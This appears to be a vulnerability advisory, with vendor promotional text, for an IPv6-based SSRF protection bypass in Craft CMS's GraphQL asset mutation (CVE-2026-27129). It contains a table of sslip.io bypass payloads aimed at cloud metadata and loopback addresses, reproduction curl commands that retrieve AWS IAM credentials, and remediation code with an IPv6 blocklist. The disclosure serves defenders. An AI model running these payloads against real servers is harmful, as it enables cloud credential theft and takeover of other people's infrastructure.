Summary
Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Required Permissions
Exploitation requires GraphQL schema permissions for:
- Edit assets in the
<VolumeName>volume - Create assets in the
<VolumeName>volume
These permissions may be granted to:
- Authenticated users with appropriate GraphQL schema access
- Public Schema (if misconfigured with write permissions)
Technical Details
Root Cause
From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
Bypass Mechanism
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
Bypass Payloads
Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|---|---|---|---|
| AWS EC2 IMDS | 169.254.169.254 |
fd00:ec2::254 |
http://fd00-ec2--254.sslip.io/ |
| AWS ECS | 169.254.170.2 |
fd00:ec2::254 (via IMDS) |
http://fd00-ec2--254.sslip.io/ |
| Google Cloud GCP | 169.254.169.254 |
fd20:ce::254 |
http://fd20-ce--254.sslip.io/ |
| Azure | 169.254.169.254 |
No IPv6 endpoint | N/A |
| Alibaba Cloud | 100.100.100.200 |
No documented IPv6 | N/A |
| Oracle Cloud | 192.0.0.192 |
No documented IPv6 | N/A |
Additional IPv6 Internal Service Bypass Payloads
| Target | IPv6 Address | Bypass Payload |
|---|---|---|
| IPv6 Loopback | ::1 |
http://0-0-0-0-0-0-0-1.sslip.io/ |
| AWS NTP Service | fd00:ec2::123 |
http://fd00-ec2--123.sslip.io/ |
| AWS DNS Service | fd00:ec2::253 |
http://fd00-ec2--253.sslip.io/ |
| IPv4-mapped IPv6 | ::ffff:169.254.169.254 |
http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |
Steps to Reproduce
Step 1: Verify DNS Resolution
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
Step 2: Enumerate AWS IAM Role Name
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
Step 3: Retrieve AWS Credentials
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
Attack Scenario
- Attacker finds Craft CMS instance with GraphQL asset mutations enabled
- Attacker sends mutation with
url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/" - Error message or saved file reveals IAM role name
- Attacker retrieves credentials via second mutation
- Attacker uses credentials to access AWS services
- Attacker can now achieve code execution by creating new EC2 instances with their SSH key
Additional Mitigations
| Mitigation | Description |
|---|---|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
Use dns_get_record() |
Resolves both IPv4 and IPv6 |
Resources
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
- GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
- AWS IMDS IPv6 Documentation
- GCP Metadata Server Documentation
- PayloadsAllTheThings - SSRF Cloud Instances
Impact
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
Frequently Asked Questions
- What is CVE-2026-27129? CVE-2026-27129 is a medium-severity server-side request forgery (SSRF) vulnerability in craftcms/cms (composer), affecting versions >= 5.0.0-RC1, <= 5.8.22. It is fixed in 5.8.23, 4.16.19. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of craftcms/cms are affected by CVE-2026-27129? craftcms/cms (composer) versions >= 5.0.0-RC1, <= 5.8.22 is affected.
- Is there a fix for CVE-2026-27129? Yes. CVE-2026-27129 is fixed in 5.8.23, 4.16.19. Upgrade to this version or later.
- Is CVE-2026-27129 exploitable, and should I be worried? Whether CVE-2026-27129 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27129 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27129?
- Upgrade
craftcms/cmsto 5.8.23 or later - Upgrade
craftcms/cmsto 4.16.19 or later
- Upgrade